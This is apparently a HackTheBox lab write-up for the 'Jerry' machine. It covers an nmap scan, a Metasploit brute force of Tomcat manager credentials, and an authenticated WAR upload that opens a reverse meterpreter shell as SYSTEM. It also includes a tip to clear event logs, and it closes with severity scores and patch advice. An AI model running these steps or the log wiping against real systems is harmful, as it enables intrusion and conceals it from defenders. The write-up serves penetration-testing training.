HackTheBox - Jerry (Easy)

Table of contents

Enumeration

Nmap scan

```
# Nmap 7.94 scan initiated Tue Jul 18 14:49:43 2023 as: nmap -A -p- -T5 -oN nmapResult
s.txt -Pn 10.129.140.123
Nmap scan report for 10.129.140.123
Host is up (0.028s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
8080/tcp open  http    Apache Tomcat/Coyote JSP engine 1.1
|_http-server-header: Apache-Coyote/1.1
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/7.0.88

Service detection performed. Please report any incorrect results at https://nmap.org/s
ubmit/ .
# Nmap done at Tue Jul 18 14:50:55 2023 -- 1 IP address (1 host up) scanned in 72.14 s
econds
```

Tomcat login brute force

The current version of Tomcat running on the system is not vulnerable to **unauthenticated RCE (Remote Code Execution)**, so we will need to find valid credentials. To do so, we can brute force the Tomcat basic HTTP authentication using the Metasploit Framework :

```
msf6 > search tomcat login

Matching Modules
================

   #  Name                                       Disclosure Date  Rank    Check  Descrip
tion
   -  ----                                       ---------------  ----    -----  -------
----
   0  auxiliary/scanner/http/tomcat_mgr_login                     normal  No     Tomcat
Application Manager Login Utility


Interact with a module by name or index. For example info 0, use 0 or use auxiliary/sc
anner/http/tomcat_mgr_login

msf6 > use 0
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RHOSTS 10.129.140.123
RHOSTS => 10.129.140.123
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set VERBOSE false
VERBOSE => false
msf6 auxiliary(scanner/http/tomcat_mgr_login) > run

[+] 10.129.140.123:8080 - Login Successful: tomcat:s3cret
```

```
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

We successfully brute forced the credentials for Tomcat, and we can now use them to access more functionalities of the web application.

Tomcat RCE (Remote Code Execution)

Now that we have credentials for the Apache Tomcat Manager, we can upload and deploy a malicious WAR file in order to gain a reverse shell on the target system. We can again use the Metasploit Framework to perform this attack more easily. Let's search for a module that uploads a malicious WAR file and execute it for Tomcat :

```
msf6 > search Tomcat Manager Upload

Matching Modules
================

   #  Name                                                  Disclosure Date  Rank       Ch
eck  Description
   -  ----                                                  ---------------  ----       --
---  -----------
   0  auxiliary/dos/http/apache_commons_fileupload_dos      2014-02-06       normal     No
Apache Commons FileUpload and Apache Tomcat DoS
   1  exploit/multi/http/tomcat_mgr_deploy                  2009-11-09       excellent  Ye
s    Apache Tomcat Manager Application Deployer Authenticated Code Execution
   2  exploit/multi/http/tomcat_mgr_upload                  2009-11-09       excellent  Ye
s    Apache Tomcat Manager Authenticated Upload Code Execution
   3  exploit/multi/http/cisco_dcnm_upload_2019             2019-06-26       excellent  Ye
s    Cisco Data Center Network Manager Unauthenticated Remote Code Execution


Interact with a module by name or index. For example info 3, use 3 or use exploit/mult
i/http/cisco_dcnm_upload_2019
```

We will use `exploit/multi/http/tomcat_mgr_upload` :

```
msf6 > use exploit/multi/http/tomcat_mgr_upload
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/http/tomcat_mgr_upload) > set LHOST tun0
LHOST => 10.10.14.93
msf6 exploit(multi/http/tomcat_mgr_upload) > set RHOSTS 10.129.140.123
RHOSTS => 10.129.140.123
msf6 exploit(multi/http/tomcat_mgr_upload) > set HttpPassword s3cret
HttpPassword => s3cret
msf6 exploit(multi/http/tomcat_mgr_upload) > set HttpUsername tomcat
HttpUsername => tomcat
```

```
msf6 exploit(multi/http/tomcat_mgr_upload) > set RPORT 8080
RPORT => 8080
msf6 exploit(multi/http/tomcat_mgr_upload) > set TARGET Windows\ Universal
TARGET => Windows Universal
msf6 exploit(multi/http/tomcat_mgr_upload) > set payload windows/meterpreter/reverse_t
cp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/http/tomcat_mgr_upload) > run

[*] Started reverse TCP handler on 10.10.14.93:4444
[*] Retrieving session ID and CSRF token...
[*] Uploading and deploying VUTEz9dh0HFlHQGthF...
[*] Executing VUTEz9dh0HFlHQGthF...
[*] Sending stage (175686 bytes) to 10.129.140.123
[*] Undeploying VUTEz9dh0HFlHQGthF ...
[*] Undeployed at /manager/html/undeploy
[*] Meterpreter session 2 opened (10.10.14.93:4444 -> 10.129.140.123:49194) at 2023-07
-18 15:49:36 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

We have a meterpreter shell as `NT AUTHORITY\SYSTEM`.

Clearing tracks

- Remove logs using the `clearev` command with the meterpreter.

Vulnerabilities summary

Tomcat weak credentials

Pentester evaluation

- Score : **9.8 CRITICAL**
- Impact : Allows an attacker to login to Tomcat. This could lead to other exploitation techniques. Also, it can have an impact on the confidentiality, availability and integrity of the service.

Patch proposition

Use stronger passwords.

Web server misconfiguration

Pentester evaluation

- Score : **9.9 CRITICAL**
- Impact : By uploading a malicious WAR file, an attacker can gain a reverse shell on the system as `NT AUTHORITY\SYSTEM`, which means he can obtain full control over the system.

Patch proposition

Create a specific user that has only the permissions needed to run the Tomcat server, and run it as this user. This way, if an attacker gain admin access on Tomcat, he will not be able to gain full control over the system.

Tools used

- Nmap ← scan open ports and service versions
- Metasploit Framework ← run exploits against the target system.

Sources

- WAR file format : https://nvd.nist.gov/vuln/detail/CVE-2009-4189
- Tomcat manager app : https://nvd.nist.gov/vuln/detail/CVE-2009-4189